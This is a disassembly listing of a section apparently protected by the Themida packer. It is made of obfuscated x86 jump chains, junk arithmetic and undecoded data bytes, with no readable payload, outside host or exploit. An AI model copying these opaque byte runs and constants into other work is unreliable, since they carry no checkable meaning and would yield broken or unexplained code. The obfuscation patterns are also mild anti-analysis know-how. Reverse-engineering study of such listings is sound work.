		dd 5097ED80h, 0FFA2B8E9h, 10E95DFFh, 55FFFF8Dh,	0FFFBC4E9h
		dd 49E951FFh, 0BEFFFF77h, 0DFEFDB82h, 4955C781h, 0F701384Eh
		dd 9590E9h, 46E95000h, 30000006h, 58CDE9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F22A:				; CODE XREF: Themida_:00563F3Cj
		add	edi, 4
		push	esi
		mov	esi, 4
		sub	edi, 24023132h
		add	edi, esi
		add	edi, 24023132h
		mov	esi, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		push	eax
		push	18C3h
		mov	[esp], ebp
		push	5D8A7CFDh
		pop	ebp
		shl	ebp, 2
		push	edx
		jmp	loc_555E68
; ---------------------------------------------------------------------------
		dw 3AE9h
		db 3Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F26B:				; CODE XREF: Themida_:0055511Dj
		xor	edx, 21D3634Ch
		push	ebp
		jmp	loc_56128E
; ---------------------------------------------------------------------------
		db 80h
		dd 0DDF601EDh, 0ED80C5FEh, 59EE20B7h, 80D2EE80h, 4AE9CFC6h
		dd 0F7000035h, 0C58145D5h, 3D10164Ah, 0FFFFBE56h, 0F501FFFFh
		dd 0DBF5815Eh, 10D6154h, 0C6815DEEh, 3DE9C844h,	0F5E9F201h
		dd 8B000046h, 68512404h, 1221h,	0FF783AE9h, 8BC329FFh
		dd 0C4812404h, 4, 0F75BDA89h, 0E2C281DAh, 81559B8Ah, 4ECh
		dd 24148900h, 0E9E08950h, 0FFFFD0A2h, 27ED815Eh, 31EE1673h
		dd 25E95DEEh, 35000058h, 280C0015h, 4CEA81h, 0C20158D4h
		dd 4CC281h, 48B58D4h, 4C48124h,	87000000h, 0DEE92414h
		dd 80FFFFA0h, 0C680DAEEh, 6601042Fh, 0E959B652h, 4DAh
		dd 0B60F66h, 22326851h,	24890000h, 24048124h, 4, 81240C8Bh
		dd 4C4h, 0E6895600h, 0FFA3C8E9h, 2CD828FFh, 66362CB7h
		dd 9493E95Bh, 0EC81FFFFh, 4, 89241489h,	4C281E2h, 81000000h
		dd 4C2h, 7E0BE900h, 0FDBB0000h,	81D911D2h, 67192DEFh, 81DF2923h
		dd 67192DC7h, 0F9315B23h, 2CFFE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55F39A:				; CODE XREF: Themida_:00565602j
		pop	esp
		jmp	loc_55E3B2
; ---------------------------------------------------------------------------

loc_55F3A0:				; CODE XREF: Themida_:0055B325j
		sub	edi, edx
		jmp	loc_55ECFD
; ---------------------------------------------------------------------------

loc_55F3A7:				; CODE XREF: Themida_:00560F75j
		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_563DDA
; ---------------------------------------------------------------------------

loc_55F3B0:				; CODE XREF: Themida_:0055D9A8j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_55D86B
; ---------------------------------------------------------------------------
		db 5Fh
		dd 2404875Dh, 807FE9h, 39E95900h, 47FFFFC7h, 0D1F7CF87h
		dd 814FCF87h, 561948EFh, 0E9FD01F5h, 0F5Dh, 305AEB81h
		dd 0DD89439Ah, 0E9EE295Bh, 90F2h, 0FF3CA0E9h, 3A5F3FFh
		dd 0EC813862h, 4, 0BE243489h, 6C4560D7h, 60D7EE81h, 0E9506C45h
		dd 7D53h
; ---------------------------------------------------------------------------

loc_55F424:				; CODE XREF: Themida_:005645A6j
		mov	esi, 4
		add	edi, esi
		pop	esi
		push	5CE7h
		jmp	loc_55739B
; ---------------------------------------------------------------------------
		dw 0DEF7h
		dd 704F681h, 4DE9519Bh,	0BEFFFFE0h, 3BA654B9h, 4FD9BD55h
		dd 0D5F7530Dh, 0FFCFBDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F455:				; CODE XREF: Themida_:00557D06j
		add	esp, 4
		xor	ecx, 3111260h
		pop	eax
		sub	ecx, edx
		jmp	loc_55B31E
; ---------------------------------------------------------------------------

loc_55F469:				; CODE XREF: Themida_:00562D83j
		xchg	ebx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 4A3C270Ah
		xor	ebp, 708E0944h
		jmp	loc_561865
; ---------------------------------------------------------------------------
		dw 0C87h
aISA		db '$\‰$$éÀ€',0
		align 2
		dw 0C681h
		dd 6C103440h, 30E1E9h, 0EC81AC00h, 4, 52240C89h, 0F6B2B151h
		dd 2AF180D1h, 8859CE88h, 738AE9F5h, 99BEFFFFh, 812A3952h
		dd 30DB65C6h, 0E9F701FDh, 1222h, 4EC81h, 8BE90000h, 0B3000007h
		dd 5BD8008Ah, 8B66B304h, 0C481241Ch, 2,	0E90AB252h, 76Bh
		dd 1578055Fh, 482D79D8h, 816338B7h, 511F06C2h, 81C2012Dh
		dd 511F06EAh, 0E957582Dh, 0FFFFBE22h, 4904C483h, 7503E981h
		dd 0CD01479Eh, 0FF5A3CE9h, 537A04FFh, 0FF983CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F521:				; CODE XREF: Themida_:00565A6Aj
		push	esi
		mov	esi, 32A114F9h
		and	esi, 14AC68DCh
		not	esi
		add	esi, 64CE5DA4h
		mov	ebx, esi
		jmp	loc_559076
; ---------------------------------------------------------------------------
		dd 52D831ADh, 28E9E289h, 0BAFFFF57h, 4,	4656EE81h, 0D6010268h
		dd 4656C681h, 4EE90268h, 81000087h, 2C3h, 241C8700h, 6624248Bh
		dd 5024048Bh, 0BF57E089h, 32F2080Ch, 0FF3F5DE9h, 240C89FFh
		dd 0D95FF8B9h, 5FFCBA2Eh, 0CA312ED9h, 0BFCE9h, 4EC8100h
		dd 89000000h, 92B9240Ch, 11C0428h, 5904244Ch, 0FF3AFCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F5A9:				; CODE XREF: Themida_:00560845j
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		dec	esi
		xor	esi, 80091204h
		add	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1E491023h
		shl	ecx, 2
		sub	ecx, 79244088h
		add	ebx, ecx
		jmp	loc_55E50E
; ---------------------------------------------------------------------------
		dd 5504C483h, 2BDh, 8BE80100h, 0C483242Ch, 24048704h, 6624248Bh
		dd 55240C8Bh, 0FFB958E9h, 84EF81FFh, 0E948557Fh, 0FFFFD9CEh
; ---------------------------------------------------------------------------

loc_55F60C:				; CODE XREF: Themida_:005539E1j
		mov	ebx, 7CD93F0Fh
		or	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	esi, 4382804h
		xor	esi, 2342731h
		add	ebp, esi
		pop	esi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		div	cx
		push	small 4417h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5530A5
; ---------------------------------------------------------------------------
		dd 0C108EEC1h, 7AE904EEh, 5AFFFF81h, 8904EC83h,	0BE56240Ch
		dd 2B8F1238h, 5490EE81h, 0F6811FCDh, 0BC1BDA8h,	815EF189h
		dd 0BE058DE9h, 81D90164h, 0BE058DC1h, 59118964h, 24148B5Bh
		dd 8104C483h, 45F12477h, 4FFF3F71h, 2467C124h, 0B95108h
		dd 29B15DFFh, 3159244Fh, 76851D2h, 0E9000023h, 0FFFF7C89h
		dd 6649045Ah, 81240C8Bh, 2C4h, 41316800h, 0C890000h, 81E18924h
		dd 4C1h, 4E98100h, 87000000h, 0E95C240Ch, 5F5Eh, 8B2434FFh
		dd 15E92404h, 89FFFF4Bh, 11BB241Ch, 810A8B12h, 5428E2F3h
		dd 81D3F73Dh, 479F50C3h, 4B8AE997h, 0E8280000h,	83240C8Bh
		dd 0C1E904C4h, 81FFFFC2h, 0FFFFFFE9h, 0A327E9FFh, 0C181FFFFh
		dd 4, 4E981h, 93E90000h, 0F7000066h, 0E9FB87D7h, 0FFFF6DE2h
		dd 42474FFh, 24048F5Ah,	0FF4E79E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F73D:				; CODE XREF: Themida_:00555FAFj
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_5592D1
; ---------------------------------------------------------------------------
		dd 0B4240489h, 22E95110h, 54000049h, 40558h, 0EE90000h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------

loc_55F75F:				; CODE XREF: Themida_:00556782j
		mov	edi, esi
		pop	esi
		mov	eax, edi
		jmp	loc_56576A
; ---------------------------------------------------------------------------

loc_55F769:				; CODE XREF: Themida_:005649FEj
		push	edi
		jmp	loc_56796D
; ---------------------------------------------------------------------------

loc_55F76F:				; CODE XREF: Themida_:0055B763j
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	ebx
		push	30A9h
		push	21D4h
		mov	[esp], esp
		jmp	loc_56377C
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0FFE507E9h, 246C81FFh, 0DB46AE04h, 34FF597Ah, 0C4835824h
		dd 40504h, 50550000h, 1A38B4B8h, 899CE90Ah, 6653FFFFh
		dd 6661B2BBh, 0E904E3C1h, 0FFFF49A3h, 0D434C8FEh, 0E7E9C300h
		dd 0FF000085h, 0E9042474h, 7FCFh, 80ACB252h, 0D428CCEAh
		dd 58E2885Ah, 8007E2C0h, 0C2E96EF2h, 66000066h,	0E8C78058h
		dd 0EF80E728h, 7906E9E8h, 0F0000000h, 0F0285A66h, 12C592Ch
		dd 218BE9h, 9E95600h, 81FFFF9Ch, 82645C1h, 59CE014Eh, 56E08950h
		dd 0FF3F44E9h, 366CBAFFh, 0CA8153B8h, 6E1D56BAh, 0C281EAD1h
		dd 0D9AA489Eh, 815AD321h, 7833A3F3h, 5BDD8948h,	97E9DDF7h
		dd 8300001Bh, 148B04C4h, 4C48124h, 51000000h, 0FF7AAEE9h
		dd 0B84B8FFh, 0C52930EDh, 0F4C58158h, 0C12A8F5Ch, 0BF5704EDh
		dd 3D267297h, 8108E7C1h, 384E4CEFh, 0E9FD21CCh,	0FFFFEC09h
		dd 0F02EACBEh, 0E9F7092Bh, 6E51h
; ---------------------------------------------------------------------------

loc_55F89C:				; CODE XREF: Themida_:0055B1CAj
		xor	edi, eax
		pop	eax
		jmp	loc_558FF2
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 0FEh, 71F1E9h
		db 0
; ---------------------------------------------------------------------------

loc_55F8B1:				; CODE XREF: Themida_:0055962Cj
		push	esi
		jmp	loc_5584E8
; ---------------------------------------------------------------------------
		db 5Eh
		dd 1128C181h, 0F101346Ah, 4EC8150h, 89000000h, 0E5E9243Ch
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F8CF:				; CODE XREF: Themida_:00567593j
		push	4945h
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ecx
		mov	ecx, 269A7F6Eh
		jmp	loc_5597D8
; ---------------------------------------------------------------------------
a1Zhq		db '1ÑZhq;',0
		align 2
		dw 1489h
		dd 7AE95424h, 31FFFF88h, 3C33243Ch, 47FAE924h, 48BFFFFh
		dd 0E6895624h, 4C681h, 0BF570000h, 4, 1FF3B951h, 0CE013D09h
		dd 0FF7BC6E9h, 5BA3BDFFh, 98E92DC3h, 51000032h,	42474FFh
		dd 0FFFA9CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55F939:				; CODE XREF: Themida_:0055F1A1j
		dec	ecx
		push	edx
		mov	edx, 0
		jmp	loc_565379
; ---------------------------------------------------------------------------

loc_55F945:				; CODE XREF: Themida_:00563790j
		pop	ebx
		add	esp, 4
		jmp	loc_5568A4
; ---------------------------------------------------------------------------

loc_55F94E:				; CODE XREF: Themida_:0055A6E3j
		and	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5674F5
; ---------------------------------------------------------------------------

loc_55F95E:				; CODE XREF: Themida_:00558C60j
		mov	ecx, 77237DD6h
		not	ecx
		jmp	loc_55CC9D
; ---------------------------------------------------------------------------
		dw 0FF51h
		dd 59042474h, 5C24048Fh, 1A05D829h, 0E95CB333h,	7AFEh
		dd 8108E3C1h, 0E10380F3h, 81D3F716h, 75AC67C3h,	4CC68121h
		dd 8156ED52h, 0A4221BC6h, 81DE2960h, 0A4221BEEh, 0BD58E960h
		dd 0E381FFFFh, 46666918h, 6BC3814Bh, 1CBB3B7h, 0EC835BD9h
		dd 24148904h, 4D06BAh, 8515E942h, 3A050000h, 0E91F965Ch
		dd 0FFFF4CEEh, 0D6E95453h, 0B7000060h, 66F8280Ah, 0C0DF245Bh
		dd 0D0F603E0h, 0C328852Ch, 0EE95A58h, 0B9000040h, 4E446B55h
		dd 8B59C801h, 0C4832434h, 83565304h, 0C8904ECh,	299E6824h
		dd 34FF6087h, 0C4815924h, 4, 210D68h, 24048900h, 0DB2C74B8h
		dd 6850532Fh, 75737543h, 56C53558h, 7E92B0Ah, 81FFFF90h
		dd 6D61BBC3h, 87CDE92Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55FA42:				; CODE XREF: Themida_:00554445j
		push	esi
		mov	esi, 301F3B93h
		jmp	loc_55316D
; ---------------------------------------------------------------------------
		db 0F7h, 14h, 24h
		dd 0F2C18159h, 816B887Fh, 538406E9h, 8BCE0144h,	0C483240Ch
		dd 2434FF04h, 0FFBC21E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FA6D:				; CODE XREF: Themida_:00554583j
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_5571C5
; ---------------------------------------------------------------------------
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 565C240Ch, 42474FFh
		dd 24048F5Eh, 0E924248Bh, 0FFFF37A5h
; ---------------------------------------------------------------------------

loc_55FA9C:				; CODE XREF: Themida_:0055E16Aj
		add	esp, 4
		push	ebx
		add	dword ptr [esp], 34EC10E4h
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 34EC10E4h
		push	dword ptr [esp]
		jmp	loc_555949
; ---------------------------------------------------------------------------

loc_55FABD:				; CODE XREF: Themida_:005540A4j
		add	dword ptr [eax], 4F646405h
		jmp	loc_5530A5
; ---------------------------------------------------------------------------
		dd 0E243481h, 5D05833Dh, 4EC81h, 0C890000h, 80F9E924h
		dd 0B9510000h, 4CF96D6Ah, 1777E9h
		db 0
; ---------------------------------------------------------------------------

loc_55FAE9:				; CODE XREF: Themida_:00566B1Cj
		xor	eax, ecx
		push	ebx
		push	esp
		pop	ebx
		push	3D4Ah
		mov	[esp], edx
		mov	edx, 4
		add	ebx, 5D8851A8h
		add	ebx, edx
		sub	ebx, 5D8851A8h
		pop	edx
		jmp	loc_555E95
; ---------------------------------------------------------------------------
		db 58h
		dd 5E1AE9h, 5FFB0100h, 83AEE9h,	0AAC18100h, 8128DD6Ch
		dd 5F50E8C9h, 48E9817Fh, 895EE9A5h, 54E959CDh, 81000004h
		dd 4C4h, 0F7D2F700h, 0BCE281D2h, 81616A3Eh, 57F2F7C2h
		dd 0D6EF8129h, 0E940FB3Eh, 0FFFF6263h
; ---------------------------------------------------------------------------

loc_55FB58:				; CODE XREF: Themida_:0055BA85j
		sub	ebx, eax
		xchg	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		dec	eax
		xor	eax, 1EA10411h
		sub	eax, 0B417B544h
		xor	ecx, eax
		pop	eax
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_56097D
; ---------------------------------------------------------------------------
a_rs		db '_Ré{]',0
		align 4
		dd 240C8B66h, 905AE957h, 0EE68FFFFh, 0E9000050h, 0FFFFDC9Ah
; ---------------------------------------------------------------------------

loc_55FBA0:				; CODE XREF: Themida_:00558C10j
		or	edi, 26041A8Eh
		neg	edi
		and	edi, 224E32h
		add	edi, 69D501E0h
		jmp	loc_561898
; ---------------------------------------------------------------------------
		db 0BFh, 38h, 8
		dd 0E99758CBh, 0FFFF9E15h, 60BEF381h, 0B951ED83h, 321C7030h
		dd 8159CB01h, 102DE1CBh, 0F3814337h, 7B9B0669h,	0FFCD0FE9h
		dd 240489FFh, 541DC2B8h, 8F685262h, 0E967F90Ch,	0FFFF860Ch
		dd 44CC381h, 0FB01485Eh, 8EB7E956h, 4810000h, 424h, 5BFEE900h
		dd 2C890000h, 5D2FBD24h, 6C3128A4h, 2C8B0424h, 4C48124h
		dd 0FF000000h, 2C8B2434h, 4C48324h, 5204C483h, 0F470D2BAh
		dd 8E49E91Bh, 0F9BF0000h, 81182F35h, 0F511C5EFh, 5FFD89D3h
		dd 33E9E901h, 6600004Ah, 7638E951h, 1C890000h, 3F67BB24h
		dd 0C3810C70h, 283C200Ch, 0E7E9DE89h, 56FFFF3Eh, 0C11725BEh
		dd 580C6855h, 5DE97740h, 0BFFFFF8Dh, 5DBE3DAAh,	2C7FBF57h
		dd 0F989BB25h, 0E9F9015Fh, 23D7h, 0E9243489h, 0FFFF4A1Ch
		dd 24048B66h, 3B84E951h, 52040000h, 2C8B5455h, 4C48124h
		dd 0E9000000h, 0FFFFC5D3h, 6620B652h, 2833B050h, 285866C6h
		dd 25E95AF0h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------

loc_55FCCB:				; CODE XREF: Themida_:00562171j
		xor	edx, ecx
		not	ecx
		jmp	loc_5629CA
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 29563524h, 5E08950h, 4, 42Dh, 24048700h
		dd 2434895Ch, 6D15BEh, 6BCE8142h, 4E166E51h, 8108EEC1h
		dd 93657CCEh, 366CE95Fh, 0FD08FFFFh, 0FF7398E9h, 81E689FFh
		dd 4C6h, 4C68100h, 87000000h, 15C2434h,	0E95258C6h, 0FFFF3A1Eh
		dd 0F918B9B9h, 28E9811Fh, 0C10302E9h, 74E905E1h, 1FFFFE0h
		dd 4E952F8h, 83FFFFA8h,	665904C4h, 6676DF68h, 68241489h
		dd 296Fh, 66240489h, 664CF668h,	50240C89h, 0C588AAB0h
		dd 0FFD284E9h, 405FFh, 4330000h, 24043124h, 8B240433h
		dd 6F092424h, 8FAEE91Ch, 0D8F70000h, 0DC30B105h, 68C3543h
		dd 0C529E2F5h, 5DEE2958h, 0FFD684E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FD9D:				; CODE XREF: Themida_:00565522j
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56153D
; ---------------------------------------------------------------------------

loc_55FDDB:				; CODE XREF: Themida_:00565698j
		pop	ebx
		sub	esi, 187E235Fh
		or	esi, 8057910h
		neg	esi
		shl	esi, 5
		jmp	loc_557BB7
; ---------------------------------------------------------------------------
		dw 0C15Fh
		dd 0EA8106E2h, 0F6004AEFh, 3E6CE9h, 0C1DFF700h,	0F78105EFh
		dd 7165889Fh, 815FFA21h, 0A00C18CAh, 0FEC28131h, 891FD419h
		dd 4F4F5AD7h, 0B257E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FE26:				; CODE XREF: Themida_:005626F6j
		pop	esp
		sub	ecx, 21152A5Dh
		not	ecx
		add	ecx, 5456EEF1h
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55959C
; ---------------------------------------------------------------------------
		db 0C1h, 0EEh, 5
		dd 0FFADC7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FE4D:				; CODE XREF: Themida_:00568AC9j
		pop	eax
		add	edx, ebp
		pop	ebp
		add	edx, 479D6B91h
		mov	esi, [esp]
		jmp	loc_55C1E3
; ---------------------------------------------------------------------------
		db 5Ch
		dd 3249C381h, 0EB814BA5h, 1A83CBBh, 0C7E9C301h,	5DFFFF7Dh
		dd 205h, 24043300h, 0E9240431h,	0FFFF5C1Dh
; ---------------------------------------------------------------------------

loc_55FE84:				; CODE XREF: Themida_:0056030Fj
		mov	[esp], ebx
		push	7175h
		mov	[esp], ecx
		mov	ecx, 7D243B5h
		xor	[esp+4], ecx
		jmp	loc_555F38
; ---------------------------------------------------------------------------

loc_55FE9D:				; CODE XREF: Themida_:00558E21j
		push	ebx
		mov	ebx, 0
		sub	ebx, edx
		xor	edx, ebx
		jmp	loc_55C2DE
; ---------------------------------------------------------------------------
		dd 348B5456h, 4C48324h,	0FF933FE9h, 74FF50FFh, 8F580424h
		dd 895C2404h, 8682414h,	5A444948h, 0FF44E0E9h, 4C481FFh
		dd 56000000h, 533246BEh, 0DEA8110h, 295D7E5Fh, 0DC281F2h
		dd 0E95D7E5Fh, 0FFFF335Ah, 1AF7685Bh, 0C890000h, 526F6824h
		dd 14890000h, 3AB45024h, 0F66CB753h, 0F6DFF6DFh, 0FD8E9D7h
		dd 0FFBB0000h, 29FFFFFFh, 0F2815BDAh, 692774AFh, 0FF59B7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FF25:				; CODE XREF: Themida_:00567713j
		xor	edx, 481B89D6h
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	ecx, 0D2B4EE7Bh
		mov	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_564C8E
; ---------------------------------------------------------------------------
		dw 79B5h
		dd 2EC81h, 89660000h, 0A5B3241Ch, 5B66D800h, 0A52CE800h
		dd 240C8B66h, 2C481h, 0AE90000h, 68FFFF5Eh, 63E5h, 0BE243489h
		dd 2B3F0FE3h, 1318ED81h, 0F52945A5h, 1318C581h,	348B45A5h
		dd 4C48124h, 0E9000000h, 0FFFF83D6h, 0C85CC681h, 0F501FE5Fh
		dd 0E9E8895Eh, 0FFFFF235h
; ---------------------------------------------------------------------------

loc_55FFC4:				; CODE XREF: Themida_:0055316Fj
		push	ebx
		mov	ebx, 76716155h
		shl	ebx, 7
		not	ebx
		sub	ebx, 2E1F3063h
		add	ebx, 53074DD2h
		add	ebx, 2F3D079Ah
		add	ebx, 29A7FA3Dh
		mov	edi, ebx
		pop	ebx
		or	esi, edi
		jmp	loc_556DAF
; ---------------------------------------------------------------------------
		db 0BBh, 0BDh, 7Bh
		dd 0CB815928h, 2E5A2D05h, 5EF9EB81h, 0D9011FBBh, 241C8B5Bh
		dd 0FFCA57E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56000D:				; CODE XREF: Themida_:005683CCj
		pop	edi
		not	ebx
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 4941313Ah
		push	ebx
		xor	dword ptr [esp], 73CE7508h
		jmp	loc_55A69D
; ---------------------------------------------------------------------------
		dw 315Ah
		dd 5D04246Ch, 5AF6815Eh, 0E920941Ah, 0FFFFDABFh, 3DF6E981h
		dd 0C8892BEBh, 32932D59h, 3E9028Bh, 2D00004Fh, 2D3D1AECh
		dd 0EC05F029h, 5E2D3D1Ah, 1164E605h, 57D82976h,	0C1268h
		dd 241C8900h, 133ECFBBh, 0EDB7BF7Ch, 0DF019DA6h, 0B39DE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56007A:				; CODE XREF: Themida_:00554093j
		pop	eax
		add	eax, 3A2E18A3h
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5676BB
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 8324048Bh, 895104C4h, 4BA52E1h, 81000000h
		dd 127793E9h, 5F31E94Bh, 2CACFFFFh, 0E9252C93h,	36B7h
; ---------------------------------------------------------------------------

loc_5600BC:				; CODE XREF: Themida_:00565391j
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	edi
		jmp	loc_55C64F
; ---------------------------------------------------------------------------

loc_5600D5:				; CODE XREF: Themida_:00563A1Ej
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		push	edx
		jmp	loc_558D9B
; ---------------------------------------------------------------------------
		dd 551CE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5600EE:				; CODE XREF: Themida_:00563455j
		pop	ebp
		mov	edx, 0F07AD962h
		jmp	loc_564BEE
; ---------------------------------------------------------------------------

loc_5600F9:				; CODE XREF: Themida_:005576FDj
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	1E40h
		mov	[esp], esi
		mov	esi, 4
		add	edx, 134D0BEDh
		add	edx, esi
		sub	edx, 134D0BEDh
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	edi
		jmp	loc_55B6B8
; ---------------------------------------------------------------------------

loc_560130:				; CODE XREF: Themida_:00554B58j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	[edi+1Ch], eax
		jmp	loc_55EBE1
; ---------------------------------------------------------------------------

loc_560145:				; CODE XREF: Themida_:005547C7j
		pop	edx
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5614EF
; ---------------------------------------------------------------------------
		dw 0F280h
		dd 5AD02841h, 431068h, 24048900h, 0E92414F6h, 0FFFF4338h
		dd 4EC81h, 2CE90000h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560177:				; CODE XREF: Themida_:0055D097j
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_5530A5
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 83240C8Bh, 0C48304C4h, 24540104h, 2C8B5A04h,	4C48124h
		dd 0E9000000h, 29B7h, 4C281h, 14870000h, 84E95C24h, 5AFFFFE5h
		dd 4C281h, 0C2830000h, 24148704h, 0AF2815Ch, 8149D500h
		dd 1D57C4EFh, 0E9D70134h, 7A18h
; ---------------------------------------------------------------------------

loc_5601DC:				; CODE XREF: Themida_:0055D27Cj
		mov	esi, 72183329h
		push	4EDh
		mov	[esp], edx
		mov	edx, 70FC31F0h
		xor	esi, edx
		pop	edx
		not	esi
		push	ebp
		mov	ebp, 0FA95E4CEh
		xor	esi, ebp
		pop	ebp
		push	esi
		mov	esi, 4075D54h
		jmp	loc_56839E
; ---------------------------------------------------------------------------
		db 66h
		dd 8166C329h, 663693EBh, 0C3816658h, 70E905C7h,	53FFFFC6h
		dd 4BBh, 245C0100h, 0E95A5B04h,	560Bh, 60D4E95Bh, 0C4810000h
		dd 4, 2952685Dh, 34890000h, 24048124h, 61067DFBh, 3008E95Fh
		dd 0F201FFFFh, 241C8B5Eh, 4EC81h, 2C890000h, 81E58924h
		dd 4C5h, 4C58100h, 87000000h, 815C242Ch, 4C2h, 215FE900h
		dd 0E6C10000h, 0B7E95208h, 100005Dh, 24148BD7h,	8104C483h
		dd 0AA0E90CFh, 2162E968h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560296:				; CODE XREF: Themida_:0055B4FEj
		and	eax, edx
		pop	edx
		inc	eax
		jmp	loc_562ED0
; ---------------------------------------------------------------------------
		db 81h
		dd 0E6187BEDh, 72EEE941h, 0E0BA0000h, 0E921C811h, 1DFDh
		dd 8124048Fh, 42404h, 50590000h, 1A56B7B8h, 3E8C14Bh, 3502E0C1h
		dd 258D2B5Ch, 7183C181h, 0C10111FEh, 7183E981h,	815811FEh
		dd 4E9h, 0F645E900h, 0E789FFFFh, 1F8EE9h
		db 0
; ---------------------------------------------------------------------------

loc_5602F1:				; CODE XREF: Themida_:0055B319j
		pop	edi
		add	edi, 4
		jmp	loc_558622
; ---------------------------------------------------------------------------

loc_5602FD:				; CODE XREF: Themida_:00561015j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55FE84
; ---------------------------------------------------------------------------

loc_560314:				; CODE XREF: Themida_:0055B6FDj
		mov	esi, 2AD10662h
		mov	ecx, 6A6365A3h
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 2475D161h
		add	edi, ebp
		pop	ebp
		or	edi, 28746952h
		push	7E1Fh
		jmp	loc_5593D6
; ---------------------------------------------------------------------------
		db 5Fh,	33h, 2Ch
		dd 242C3124h, 8B242C33h, 8B662424h, 0E9532404h,	8592h
		dd 1259E942h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56036A:				; CODE XREF: Themida_:005664A8j
		mov	[esp], edi
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp]
		jmp	loc_55EB6F
; ---------------------------------------------------------------------------

loc_56037C:				; CODE XREF: Themida_:00553CA1j
		push	ebp
		jmp	loc_56441F
; ---------------------------------------------------------------------------
		dw 8950h
		dd 405E0h, 42D0000h, 87000000h,	895C2404h, 5052240Ch, 0E3F80B8h
		dd 58C28936h, 555A5952h, 0C960C5BDh, 45ED814Ch,	182D79Ch
		dd 4F095DE9h, 240C8B1Ch, 0FF9C2DE9h, 2434FFFFh,	8124148Bh
		dd 4C4h, 22CC6800h, 4890000h, 5E08924h,	4, 405h, 24048700h
		dd 8170E95Ch, 0DEF70000h, 0BB5346h, 29000000h, 5BDE87F3h
